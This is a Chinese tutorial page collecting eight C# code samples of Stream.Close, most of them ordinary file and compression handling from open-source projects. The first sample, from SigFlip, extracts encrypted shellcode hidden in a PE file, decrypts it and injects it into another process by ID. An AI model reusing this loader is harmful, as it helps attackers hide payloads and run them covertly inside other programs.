C# Stream.Close的代码示例
通过代码示例来学习C# Stream.Close方法
通过代码示例来学习编程是非常高效的。
1. 代码示例提供了一个具体而直观的学习环境,使初学者能够立即看到编程概念和语法的实际应用。
2. 通过分析和模仿现有的代码实例,初学者可以更好地理解编程逻辑和算法的工作原理。
3. 代码实例往往涵盖了多种编程技巧和最佳实践,通过学习和模仿这些实例,学习者可以逐步掌握如何编写高效、可读性强和可维护的代码。这对于初学者来说,是一种快速提升编程水平的有效途径。
Stream.Close是C#的System.IO命名空间下中的一个方法, 小编为大家找了一些网络大拿们常见的代码示例,源码中的Stream.Close() 已经帮大家高亮显示了,大家可以重点学习Stream.Close() 方法的写法,从而快速掌握该方法的应用。
Stream.Close的代码示例1 - Main()
using System.IO; public static void Main(string[] args) { ArgumentParser _parser = new ArgumentParser(args); if (args.Length <= 0 || _parser.GetOrDefault("h", "help") == "true") { Help(); } if (_parser.GetOrDefault("f", "null") != "null") { _pePath = _parser.GetOrDefault("f", "null"); _encKey = _parser.GetOrDefault("e", "null"); _pid = _parser.GetOrDefault("pid", "null"); if (_pePath == "null") Help(); if (_pid == "null") Help(); } else { Help(); } if (!File.Exists(_pePath)) Help(); Console.WriteLine("[+]:Loading/Parsing PE File '{0}'", _pePath); Console.WriteLine(); byte[] _peBlob = Utils.Read(_pePath); int _dataOffset = Utils.scanPattern(_peBlob, _tag); Console.WriteLine("[+]:Scanning for Shellcode..."); if ( _dataOffset == -1) { Console.WriteLine("Could not locate data or shellcode"); Environment.Exit(0); } Stream stream = new MemoryStream(_peBlob); long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin); Console.WriteLine("[+]: Shellcode located at {0:x2}", pos); byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)]; stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos + _tag.Length)); byte[] _data = Utils.Decrypt(shellcode, _encKey); stream.Close(); //Execute shellcode (just a basic/vanilla local shellcode injection logic, make sure to CHANGE this and use your custom shellcode loader. //CreateThread //ExecShellcode(_data); //CreateRemoteThread Loader.rexec(Convert.ToInt32(_pid), _data); }
开发者ID:med0x2e,项目名称:SigFlip,代码行数:56,代码来源:Program.cs
在Main()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Close的代码示例2 - AppendToNewlineSeparatedFile()
using System.IO; public static void AppendToNewlineSeparatedFile(PhysicalFileSystem fileSystem, string filename, string newContent) { using (Stream fileStream = fileSystem.OpenFileStream(filename, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.ReadWrite, false)) { using (StreamReader reader = new StreamReader(fileStream)) using (StreamWriter writer = new StreamWriter(fileStream)) { long position = reader.BaseStream.Seek(0, SeekOrigin.End); if (position > 0) { reader.BaseStream.Seek(position - 1, SeekOrigin.Begin); } string lastCharacter = reader.ReadToEnd(); if (lastCharacter != "\n" && lastCharacter != string.Empty) { writer.Write("\n"); } writer.Write(newContent.Trim()); writer.Write("\n"); } fileStream.Close(); } }
开发者ID:microsoft,项目名称:VFSForGit,代码行数:28,代码来源:BlobPrefetcher.cs
在AppendToNewlineSeparatedFile()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Close的代码示例3 - Load()
public void Load(System.IO.Stream stream) { using (FileReader reader = new FileReader(stream)) { reader.ByteOrder = Syroot.BinaryData.ByteOrder.LittleEndian; magic = reader.ReadBytes(4); uint magicval = magic[0] + 256 * (uint)(magic[1]) + 65536 * (uint)(magic[2]) + 16777216 * (uint)(magic[3]); if (magicval != MagicFileConstant) throw new Exception("Invalid identifier"); BlockDimX = reader.ReadByte(); BlockDimY = reader.ReadByte(); BlockDimZ = reader.ReadByte(); xsize = reader.ReadBytes(3); ysize = reader.ReadBytes(3); zsize = reader.ReadBytes(3); Width = (uint)(xsize[0] + 256 * xsize[1] + 65536 * xsize[2]); Height = (uint)(ysize[0] + 256 * ysize[1] + 65536 * ysize[2]); Depth = (uint)(zsize[0] + 256 * zsize[1] + 65536 * zsize[2]); reader.Seek(0x10, System.IO.SeekOrigin.Begin); DataBlock = reader.ReadBytes((int)(reader.BaseStream.Length - reader.Position)); Console.WriteLine(Width); Console.WriteLine(Height); Console.WriteLine(Depth); if (BlockDimX == 4 && BlockDimY == 4) Format = TEX_FORMAT.ASTC_4x4_UNORM; else if (BlockDimX == 5 && BlockDimY == 4) Format = TEX_FORMAT.ASTC_5x4_UNORM; else if (BlockDimX == 5 && BlockDimY == 5) Format = TEX_FORMAT.ASTC_5x5_UNORM; else if (BlockDimX == 6 && BlockDimY == 5) Format = TEX_FORMAT.ASTC_6x5_UNORM; else if (BlockDimX == 6 && BlockDimY == 6) Format = TEX_FORMAT.ASTC_6x6_UNORM; else if (BlockDimX == 8 && BlockDimY == 5) Format = TEX_FORMAT.ASTC_8x5_UNORM; else if (BlockDimX == 8 && BlockDimY == 6) Format = TEX_FORMAT.ASTC_8x6_UNORM; else if (BlockDimX == 8 && BlockDimY == 8) Format = TEX_FORMAT.ASTC_8x8_UNORM; else if (BlockDimX == 10 && BlockDimY == 10) Format = TEX_FORMAT.ASTC_10x10_UNORM; else if (BlockDimX == 10 && BlockDimY == 5) Format = TEX_FORMAT.ASTC_10x5_UNORM; else if (BlockDimX == 10 && BlockDimY == 6) Format = TEX_FORMAT.ASTC_10x6_UNORM; else if (BlockDimX == 10 && BlockDimY == 8) Format = TEX_FORMAT.ASTC_10x8_UNORM; else throw new Exception($"Unsupported block dims! ({BlockDimX} x {BlockDimY})"); } stream.Dispose(); stream.Close(); }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:63,代码来源:ASTC.cs
在Load()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Close的代码示例4 - SaveFileForCompression()
using System.IO; private void SaveFileForCompression(bool Compress, string[] fileNames, ICompressionFormat compressionFormat) { if (fileNames.Length == 0) return; string ext = Compress ? ".comp" : ""; if (compressionFormat.Extension.Length > 0 && Compress) ext = compressionFormat.Extension[0].Replace("*", string.Empty); List
failedFiles = new List (); if (fileNames.Length > 1) { FolderSelectDialog ofd = new FolderSelectDialog(); if (ofd.ShowDialog() == DialogResult.OK) { foreach (var file in fileNames) { string name = Path.GetFileName(file); name = name.Count(c => c == '.') > 1 && !Compress ? name.Remove(name.LastIndexOf('.')) : name; using (var data = new FileStream(file, FileMode.Open, FileAccess.Read)) { try { Stream stream; if (Compress) stream = compressionFormat.Compress(data); else { compressionFormat.Identify(data, file); stream = compressionFormat.Decompress(data); } if (stream != null) { stream.ExportToFile($"{ofd.SelectedPath}/{name}{ext}"); stream.Flush(); stream.Close(); } } catch (Exception ex) { failedFiles.Add($"{file} \n\n {ex} \n\n"); } } } if (failedFiles.Count > 0) { string action = Compress ? "compress" : "decompress"; STErrorDialog.Show($"Some files failed to {action}! See detail list of failed files.", "Switch Toolbox", string.Join("\n", failedFiles.ToArray())); } else MessageBox.Show("Files batched successfully!"); } } else { SaveFileDialog sfd = new SaveFileDialog(); string name = Path.GetFileName(fileNames[0]); sfd.FileName = name + ext; sfd.Filter = "All files(*.*)|*.*"; Cursor.Current = Cursors.Default; if (sfd.ShowDialog() == DialogResult.OK) { try { using (var data = new FileStream(fileNames[0], FileMode.Open, FileAccess.Read)) { Stream stream; if (Compress) stream = compressionFormat.Compress(data); else { compressionFormat.Identify(data, fileNames[0]); stream = compressionFormat.Decompress(data); } if (stream != null) { stream.ExportToFile(sfd.FileName); stream.Flush(); stream.Close(); MessageBox.Show($"File has been saved to {sfd.FileName}", "Save Notification"); } } } catch (Exception ex) { string action = Compress ? "compress" : "decompress"; STErrorDialog.Show($"Failed to {action}! See details for info.", "Switch Toolbox", ex.ToString()); } } } }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:99,代码来源:CompressionMenus.cs
在SaveFileForCompression()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Close的代码示例5 - Save()
using System.IO; public void Save(System.IO.Stream stream) { using (System.IO.StreamWriter file = new System.IO.StreamWriter(stream)) { foreach (STGenericObject obj in objects) { file.WriteLine($"Obj Name:" + obj.ObjectName); file.WriteLine($"Bone_Suport"); file.WriteLine($"UV_Num:1"); file.WriteLine($"vert_Array"); foreach (Vertex v in obj.vertices) { file.WriteLine($"{v.pos.X},{v.pos.Y},{v.pos.Z}"); file.WriteLine($"{v.nrm.X},{v.nrm.Y},{v.nrm.Z}"); file.WriteLine($"{v.col.X * 255},{v.col.Y * 255},{v.col.Z * 255},{v.col.W * 255}"); file.WriteLine($"{v.uv0.X},{v.uv0.Y}"); // file.WriteLine($"{v.uv1.X},{v.uv1.Y}"); } file.WriteLine($"face_Array"); for (int f = 0; f < obj.faces.Count / 3; f++) { file.WriteLine($"{obj.faces[f] + 1},{obj.faces[f++] + 1},{obj.faces[f++] + 1}"); } file.WriteLine($"bone_Array"); foreach (Vertex v in obj.vertices) { if (v.boneNames.Count == 1) file.WriteLine($"{v.boneNames[0]} {v.boneWeights[0]}"); if (v.boneNames.Count == 2) file.WriteLine($"{v.boneNames[0]} {v.boneWeights[0]} {v.boneNames[1]} {v.boneWeights[1]}"); if (v.boneNames.Count == 3) file.WriteLine($"{v.boneNames[0]} {v.boneWeights[0]} {v.boneNames[1]} {v.boneWeights[1]} {v.boneNames[2]} {v.boneWeights[2]}"); if (v.boneNames.Count == 4) file.WriteLine($"{v.boneNames[0]} {v.boneWeights[0]} {v.boneNames[1]} {v.boneWeights[1]} {v.boneNames[2]} {v.boneWeights[2]} {v.boneNames[3]} {v.boneWeights[3]}"); } } file.Close(); } }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:41,代码来源:CsvModels.cs
在Save()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Close的代码示例6 - Save()
using System.IO; public void Save(DDS dds, Stream stream, List
data = null) { FileWriter writer = new FileWriter(stream); var header = dds.header; writer.Write(Encoding.ASCII.GetBytes("DDS ")); writer.Write(header.size); writer.Write(header.flags); writer.Write(header.height); writer.Write(header.width); writer.Write(header.pitchOrLinearSize); writer.Write(header.depth); writer.Write(header.mipmapCount); for (int i = 0; i < 11; ++i) writer.Write(header.reserved1[i]); writer.Write(header.ddspf.size); writer.Write(header.ddspf.flags); writer.Write(header.ddspf.fourCC); writer.Write(header.ddspf.RGBBitCount); writer.Write(header.ddspf.RBitMask); writer.Write(header.ddspf.GBitMask); writer.Write(header.ddspf.BBitMask); writer.Write(header.ddspf.ABitMask); writer.Write(header.caps); writer.Write(header.caps2); writer.Write(header.caps3); writer.Write(header.caps4); writer.Write(header.reserved2); if (IsDX10) { WriteDX10Header(writer); } if (data != null) { foreach (var surface in data) { writer.Write(Utils.CombineByteArray(surface.mipmaps.ToArray())); } } else { writer.Write(bdata); } writer.Flush(); writer.Close(); writer.Dispose(); }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:52,代码来源:DDS.cs
在Save()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Close的代码示例7 - OpenFileFormat()
using System.IO; ///
/// Gets the /// The name of the file /// The byte array of the data /// If the file is in an archive so it can be saved back /// If the file is being compressed or not /// The type offrom a file or byte array. /// being used /// public static IFileFormat OpenFileFormat(Stream stream, string FileName, bool LeaveStreamOpen = false, bool InArchive = false, bool Compressed = false, ICompressionFormat CompressionFormat = null, long DecompressedSize = 0, long CompressedSize = 0) { if (!Compressed) DecompressedSize = stream.Length; long streamStartPos = stream.Position; if (stream.Length < 8) return null; //Check all supported compression formats and decompress. Then loop back if (!Compressed) { foreach (ICompressionFormat compressionFormat in FileManager.GetCompressionFormats()) { stream.Position = streamStartPos; if (compressionFormat.Identify(stream, FileName)) { stream.Position = streamStartPos; Stream decompStream = compressionFormat.Decompress(stream); stream.Close(); CompressedSize = decompStream.Length; return OpenFileFormat(decompStream, FileName, LeaveStreamOpen, InArchive, true, compressionFormat, DecompressedSize, CompressedSize); } } } stream.Position = streamStartPos; foreach (IFileFormat fileFormat in FileManager.GetFileFormats()) { //Set the file name so we can check it's extension in the identifier. //Most is by magic but some can be extension or name. fileFormat.FileName = Path.GetFileName(FileName); if (fileFormat.Identify(stream)) { fileFormat.IFileInfo = new IFileInfo(); fileFormat.IFileInfo.DecompressedSize = (uint)DecompressedSize; fileFormat.IFileInfo.CompressedSize = (uint)CompressedSize; return SetFileFormat(fileFormat, FileName, stream, LeaveStreamOpen, InArchive, Compressed, CompressionFormat); } } stream.Close(); return null; }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:63,代码来源:STFileLoader.cs
在OpenFileFormat()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Close的代码示例8 - SaveFileFormat()
using System.IO; ///
/// Saves the /// The format instance of the file being saved /// The name of the file /// The Alignment used for compression. Used for Yaz0 compression type. /// Toggle for showing compression dialog ///as a file from the given /// public static void SaveFileFormat(IFileFormat FileFormat, string FileName, bool EnableDialog = true, string DetailsLog = "") { //These always get created on loading a file,however not on creating a new file if (FileFormat.IFileInfo == null) throw new System.NotImplementedException("Make sure to impliment a IFileInfo instance if a format is being created!"); Cursor.Current = Cursors.WaitCursor; FileFormat.FilePath = FileName; string compressionLog = ""; if (FileFormat.IFileInfo.FileIsCompressed || FileFormat.IFileInfo.InArchive || Path.GetExtension(FileName) == ".szs" || Path.GetExtension(FileName) == ".sbfres" || Path.GetExtension(FileName) == ".mc") { //Todo find more optmial way to handle memory with files in archives //Also make compression require streams var mem = new System.IO.MemoryStream(); FileFormat.Save(mem); mem = new System.IO.MemoryStream(mem.ToArray()); FileFormat.IFileInfo.DecompressedSize = (uint)mem.Length; var finalStream = CompressFileFormat( FileFormat.IFileInfo.FileCompression, mem, FileFormat.IFileInfo.FileIsCompressed, FileFormat.IFileInfo.Alignment, FileName, EnableDialog); compressionLog = finalStream.Item2; Stream compressionStream = finalStream.Item1; FileFormat.IFileInfo.CompressedSize = (uint)compressionStream.Length; compressionStream.ExportToFile(FileName); DetailsLog += "\n" + SatisfyFileTables(FileFormat, FileName, compressionStream, FileFormat.IFileInfo.DecompressedSize, FileFormat.IFileInfo.CompressedSize, FileFormat.IFileInfo.FileIsCompressed); compressionStream.Flush(); compressionStream.Close(); } else { //Check if a stream is active and the file is beinng saved to the same opened file if (FileFormat is ISaveOpenedFileStream && FileFormat.FilePath == FileName && File.Exists(FileName)) { string savedPath = Path.GetDirectoryName(FileName); string tempPath = Path.Combine(savedPath, "tempST.bin"); //Save a temporary file first to not disturb the opened file using (var fileStream = new FileStream(tempPath, FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite)) { FileFormat.Save(fileStream); FileFormat.Unload(); //After saving is done remove the existing file File.Delete(FileName); //Now move and rename our temp file to the new file path File.Move(tempPath, FileName); FileFormat.Load(File.OpenRead(FileName)); var activeForm = LibraryGUI.GetActiveForm(); if (activeForm != null && activeForm is ObjectEditor) ((ObjectEditor)activeForm).ReloadArchiveFile(FileFormat); } } else { using (var fileStream = new FileStream(FileName, FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite)) { FileFormat.Save(fileStream); } } } if (EnableDialog) { if (compressionLog != string.Empty) MessageBox.Show($"File has been saved to {FileName}. Compressed time: {compressionLog}", "Save Notification"); else MessageBox.Show($"File has been saved to {FileName}", "Save Notification"); } // STSaveLogDialog.Show($"File has been saved to {FileName}", "Save Notification", DetailsLog); Cursor.Current = Cursors.Default; }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:100,代码来源:STFileSaver.cs
在SaveFileFormat()方法中,Stream的代码示例类中的Close的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
本文中的Stream.Close方法示例由csref.cn整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。